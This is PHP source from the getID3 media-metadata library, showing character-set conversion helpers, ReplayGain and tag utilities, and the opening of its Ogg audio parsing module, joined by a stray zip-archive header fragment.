			$newcharstring .= $string[$i]."\x00";
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16($string) {
		return self::iconv_fallback_iso88591_utf16le($string, true);
	}

	/**
	 * UTF-8 => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_iso88591($string) {
		$newcharstring = '';
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? maybe throw some warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16($string) {
		return self::iconv_fallback_utf8_utf16le($string, true);
	}

	/**
	 * UTF-16BE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_utf8($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_utf8($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16BE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_iso88591($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_iso88591($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16 (BOM) => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_iso88591($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
		}
		return $string;
	}

	/**
	 * UTF-16 (BOM) => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_utf8($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
		}
		return $string;
	}

	/**
	 * @param string $in_charset
	 * @param string $out_charset
	 * @param string $string
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function iconv_fallback($in_charset, $out_charset, $string) {

		if ($in_charset == $out_charset) {
			return $string;
		}

		// mb_convert_encoding() available
		if (function_exists('mb_convert_encoding')) {
			if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) {
				// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
				$string = "\xFF\xFE".$string;
			}
			if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) {
				if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) {
					// if string consists of only BOM, mb_convert_encoding will return the BOM unmodified
					return '';
				}
			}
			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}
			return $string;

		// iconv() available
		} elseif (function_exists('iconv')) {
			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}

			// iconv() may sometimes fail with "illegal character in input string" error message
			// and return an empty string, but returning the unconverted string is more useful
			return $string;
		}


		// neither mb_convert_encoding or iconv() is available
		static $ConversionFunctionList = array();
		if (empty($ConversionFunctionList)) {
			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
		}
		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
			return self::$ConversionFunction($string);
		}
		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
	}

	/**
	 * @param mixed  $data
	 * @param string $charset
	 *
	 * @return mixed
	 */
	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
		if (is_string($data)) {
			return self::MultiByteCharString2HTML($data, $charset);
		} elseif (is_array($data)) {
			$return_data = array();
			foreach ($data as $key => $value) {
				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
			}
			return $return_data;
		}
		// integer, float, objects, resources, etc
		return $data;
	}

	/**
	 * @param string|int|float $string
	 * @param string           $charset
	 *
	 * @return string
	 */
	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
		$HTMLstring = '';

		switch (strtolower($charset)) {
			case '1251':
			case '1252':
			case '866':
			case '932':
			case '936':
			case '950':
			case 'big5':
			case 'big5-hkscs':
			case 'cp1251':
			case 'cp1252':
			case 'cp866':
			case 'euc-jp':
			case 'eucjp':
			case 'gb2312':
			case 'ibm866':
			case 'iso-8859-1':
			case 'iso-8859-15':
			case 'iso8859-1':
			case 'iso8859-15':
			case 'koi8-r':
			case 'koi8-ru':
			case 'koi8r':
			case 'shift_jis':
			case 'sjis':
			case 'win-1251':
			case 'windows-1251':
			case 'windows-1252':
				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
				break;

			case 'utf-8':
				$strlen = strlen($string);
				for ($i = 0; $i < $strlen; $i++) {
					$char_ord_val = ord($string[$i]);
					$charval = 0;
					if ($char_ord_val < 0x80) {
						$charval = $char_ord_val;
					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
						$charval  = (($char_ord_val & 0x07) << 18);
						$charval += ((ord($string[++$i]) & 0x3F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
						$charval  = (($char_ord_val & 0x0F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
						$charval  = (($char_ord_val & 0x1F) << 6);
						$charval += (ord($string[++$i]) & 0x3F);
					}
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= htmlentities(chr($charval));
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16le':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::LittleEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16be':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::BigEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			default:
				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
				break;
		}
		return $HTMLstring;
	}

	/**
	 * @param int $namecode
	 *
	 * @return string
	 */
	public static function RGADnameLookup($namecode) {
		static $RGADname = array();
		if (empty($RGADname)) {
			$RGADname[0] = 'not set';
			$RGADname[1] = 'Track Gain Adjustment';
			$RGADname[2] = 'Album Gain Adjustment';
		}

		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
	}

	/**
	 * @param int $originatorcode
	 *
	 * @return string
	 */
	public static function RGADoriginatorLookup($originatorcode) {
		static $RGADoriginator = array();
		if (empty($RGADoriginator)) {
			$RGADoriginator[0] = 'unspecified';
			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
			$RGADoriginator[2] = 'set by user';
			$RGADoriginator[3] = 'determined automatically';
		}

		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
	}

	/**
	 * @param int $rawadjustment
	 * @param int $signbit
	 *
	 * @return float
	 */
	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
		$adjustment = (float) $rawadjustment / 10;
		if ($signbit == 1) {
			$adjustment *= -1;
		}
		return $adjustment;
	}

	/**
	 * @param int $namecode
	 * @param int $originatorcode
	 * @param int $replaygain
	 *
	 * @return string
	 */
	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
		if ($replaygain < 0) {
			$signbit = '1';
		} else {
			$signbit = '0';
		}
		$storedreplaygain = intval(round($replaygain * 10));
		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
		$gainstring .= $signbit;
		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);

		return $gainstring;
	}

	/**
	 * @param float $amplitude
	 *
	 * @return float
	 */
	public static function RGADamplitude2dB($amplitude) {
		return 20 * log10($amplitude);
	}

	/**
	 * @param string $imgData
	 * @param array  $imageinfo
	 *
	 * @return array|false
	 */
	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
		if (PHP_VERSION_ID >= 50400) {
			$GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo);
			if ($GetDataImageSize === false) {
				return false;
			}
			$GetDataImageSize['height'] = $GetDataImageSize[0];
			$GetDataImageSize['width'] = $GetDataImageSize[1];
			return $GetDataImageSize;
		}
		static $tempdir = '';
		if (empty($tempdir)) {
			if (function_exists('sys_get_temp_dir')) {
				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
			}

			// yes this is ugly, feel free to suggest a better way
			if (include_once(dirname(__FILE__).'/getid3.php')) {
				$getid3_temp = new getID3();
				if ($getid3_temp_tempdir = $getid3_temp->tempdir) {
					$tempdir = $getid3_temp_tempdir;
				}
				unset($getid3_temp, $getid3_temp_tempdir);
			}
		}
		$GetDataImageSize = false;
		if ($tempfilename = tempnam($tempdir, 'gI3')) {
			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
				fwrite($tmp, $imgData);
				fclose($tmp);
				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
				if ($GetDataImageSize === false) {
					return false;
				}
				$GetDataImageSize['height'] = $GetDataImageSize[0];
				$GetDataImageSize['width']  = $GetDataImageSize[1];
			}
			unlink($tempfilename);
		}
		return $GetDataImageSize;
	}

	/**
	 * @param string $mime_type
	 *
	 * @return string
	 */
	public static function ImageExtFromMime($mime_type) {
		// temporary way, works OK for now, but should be reworked in the future
		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
	}

	/**
	 * @param array $ThisFileInfo
	 * @param bool  $option_tags_html default true (just as in the main getID3 class)
	 *
	 * @return bool
	 */
	public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) {
		// Copy all entries from ['tags'] into common ['comments']
		if (!empty($ThisFileInfo['tags'])) {

			// Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1)
			// and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets
			// To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that
			// the first entries in [comments] are the most correct and the "bad" ones (if any) come later.
			// https://github.com/JamesHeinrich/getID3/issues/338
			$processLastTagTypes = array('id3v1','riff');
			foreach ($processLastTagTypes as $processLastTagType) {
				if (isset($ThisFileInfo['tags'][$processLastTagType])) {
					// bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings
					$temp = $ThisFileInfo['tags'][$processLastTagType];
					unset($ThisFileInfo['tags'][$processLastTagType]);
					$ThisFileInfo['tags'][$processLastTagType] = $temp;
					unset($temp);
				}
			}
			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					foreach ($tagdata as $key => $value) {
						if (!empty($value)) {
							if (empty($ThisFileInfo['comments'][$tagname])) {

								// fall through and append value

							} elseif ($tagtype == 'id3v1') {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
										break 2;
									}

									if (function_exists('mb_convert_encoding')) {
										if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) {
											// value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1.
											// As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character
											break 2;
										}
									}
								}

							} elseif (!is_array($value)) {

								$newvaluelength   =    strlen(trim($value));
								$newvaluelengthMB = mb_strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength   =    strlen(trim($existingvalue));
									$oldvaluelengthMB = mb_strlen(trim($existingvalue));
									if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) {
										// https://github.com/JamesHeinrich/getID3/issues/338
										// check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII)
										// which will usually display unrepresentable characters as "?"
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
								}

							}
							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
								$value = (is_string($value) ? trim($value) : $value);
								if (!is_int($key) && !ctype_digit($key)) {
									$ThisFileInfo['comments'][$tagname][$key] = $value;
								} else {
									if (!isset($ThisFileInfo['comments'][$tagname])) {
										$ThisFileInfo['comments'][$tagname] = array($value);
									} else {
										$ThisFileInfo['comments'][$tagname][] = $value;
									}
								}
							}
						}
					}
				}
			}

			// attempt to standardize spelling of returned keys
			if (!empty($ThisFileInfo['comments'])) {
				$StandardizeFieldNames = array(
					'tracknumber' => 'track_number',
					'track'       => 'track_number',
				);
				foreach ($StandardizeFieldNames as $badkey => $goodkey) {
					if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
						$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
						unset($ThisFileInfo['comments'][$badkey]);
					}
				}
			}

			if ($option_tags_html) {
				// Copy ['comments'] to ['comments_html']
				if (!empty($ThisFileInfo['comments'])) {
					foreach ($ThisFileInfo['comments'] as $field => $values) {
						if ($field == 'picture') {
							// pictures can take up a lot of space, and we don't need multiple copies of them
							// let there be a single copy in [comments][picture], and not elsewhere
							continue;
						}
						foreach ($values as $index => $value) {
							if (is_array($value)) {
								$ThisFileInfo['comments_html'][$field][$index] = $value;
							} else {
								$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
							}
						}
					}
				}
			}

		}
		return true;
	}

	/**
	 * @param string $key
	 * @param int    $begin
	 * @param int    $end
	 * @param string $file
	 * @param string $name
	 *
	 * @return string
	 */
	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {

		// Cached
		static $cache;
		if (isset($cache[$file][$name])) {
			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
		}

		// Init
		$keylength  = strlen($key);
		$line_count = $end - $begin - 7;

		// Open php file
		$fp = fopen($file, 'r');

		// Discard $begin lines
		for ($i = 0; $i < ($begin + 3); $i++) {
			fgets($fp, 1024);
		}

		// Loop thru line
		while (0 < $line_count--) {

			// Read line
			$line = ltrim(fgets($fp, 1024), "\t ");

			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
			//$keycheck = substr($line, 0, $keylength);
			//if ($key == $keycheck)  {
			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
			//	break;
			//}

			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
			$explodedLine = explode("\t", $line, 2);
			$ThisKey   = $explodedLine[0];
			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
			$cache[$file][$name][$ThisKey] = trim($ThisValue);
		}

		// Close and return
		fclose($fp);
		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
	}

	/**
	 * @param string $filename
	 * @param string $sourcefile
	 * @param bool   $DieOnFailure
	 *
	 * @return bool
	 * @throws Exception
	 */
	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
		global $GETID3_ERRORARRAY;

		if (file_exists($filename)) {
			if (include_once($filename)) {
				return true;
			} else {
				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
			}
		} else {
			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
		}
		if ($DieOnFailure) {
			throw new Exception($diemessage);
		} else {
			$GETID3_ERRORARRAY[] = $diemessage;
		}
		return false;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function trimNullByte($string) {
		return trim($string, "\x00");
	}

	/**
	 * @param string $path
	 *
	 * @return float|bool
	 */
	public static function getFileSizeSyscall($path) {
		$commandline = null;
		$filesize = false;

		if (GETID3_OS_ISWINDOWS) {
			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
				$filesystem = new COM('Scripting.FileSystemObject');
				$file = $filesystem->GetFile($path);
				$filesize = $file->Size();
				unset($filesystem, $file);
			} else {
				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
			}
		} else {
			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
		}
		if (isset($commandline)) {
			$output = trim(shell_exec($commandline));
			if (ctype_digit($output)) {
				$filesize = (float) $output;
			}
		}
		return $filesize;
	}

	/**
	 * @param string $filename
	 *
	 * @return string|false
	 */
	public static function truepath($filename) {
		// 2017-11-08: this could use some improvement, patches welcome
		if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) {
			// PHP's built-in realpath function does not work on UNC Windows shares
			$goodpath = array();
			foreach (explode('/', str_replace('\\', '/', $filename)) as $part) {
				if ($part == '.') {
					continue;
				}
				if ($part == '..') {
					if (count($goodpath)) {
						array_pop($goodpath);
					} else {
						// cannot step above this level, already at top level
						return false;
					}
				} else {
					$goodpath[] = $part;
				}
			}
			return implode(DIRECTORY_SEPARATOR, $goodpath);
		}
		return realpath($filename);
	}

	/**
	 * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
	 *
	 * @param string $path A path.
	 * @param string $suffix If the name component ends in suffix this will also be cut off.
	 *
	 * @return string
	 */
	public static function mb_basename($path, $suffix = '') {
		$splited = preg_split('#/#', rtrim($path, '/ '));
		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
	}

}
PKE]Fmodule.audio.ogg.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ogg.php                                        //
// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
// dependencies: module.audio.flac.php                         //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);

class getid3_ogg extends getid3_handler
{
	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html
	 *
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'ogg';

		// Warn about illegal tags - only vorbiscomments are allowed
		if (isset($info['id3v2'])) {
			$this->warning('Illegal ID3v2 tag present.');
		}
		if (isset($info['id3v1'])) {
			$this->warning('Illegal ID3v1 tag present.');
		}
		if (isset($info['ape'])) {
			$this->warning('Illegal APE tag present.');
		}


		// Page 1 - Stream Header

		$this->fseek($info['avdataoffset']);

		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
			$this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)');
			unset($info['fileformat']);
			unset($info['ogg']);
			return false;
		}

		$filedata = $this->fread($oggpageinfo['page_length']);
		$filedataoffset = 0;

		if (substr($filedata, 0, 4) == 'fLaC') {

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

		} elseif (substr($filedata, 1, 6) == 'vorbis') {

			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

		} elseif (substr($filedata, 0, 8) == 'OpusHead') {

			if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) {
				return false;
			}

		} elseif (substr($filedata, 0, 8) == 'Speex   ') {

			// http://www.speex.org/manual/node10.html

			$info['audio']['dataformat']   = 'speex';
			$info['mime_type']             = 'audio/speex';
			$info['audio']['bitrate_mode'] = 'abr';
			$info['audio']['lossless']     = false;

			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
			$filedataoffset += 8;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
			$filedataoffset += 20;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
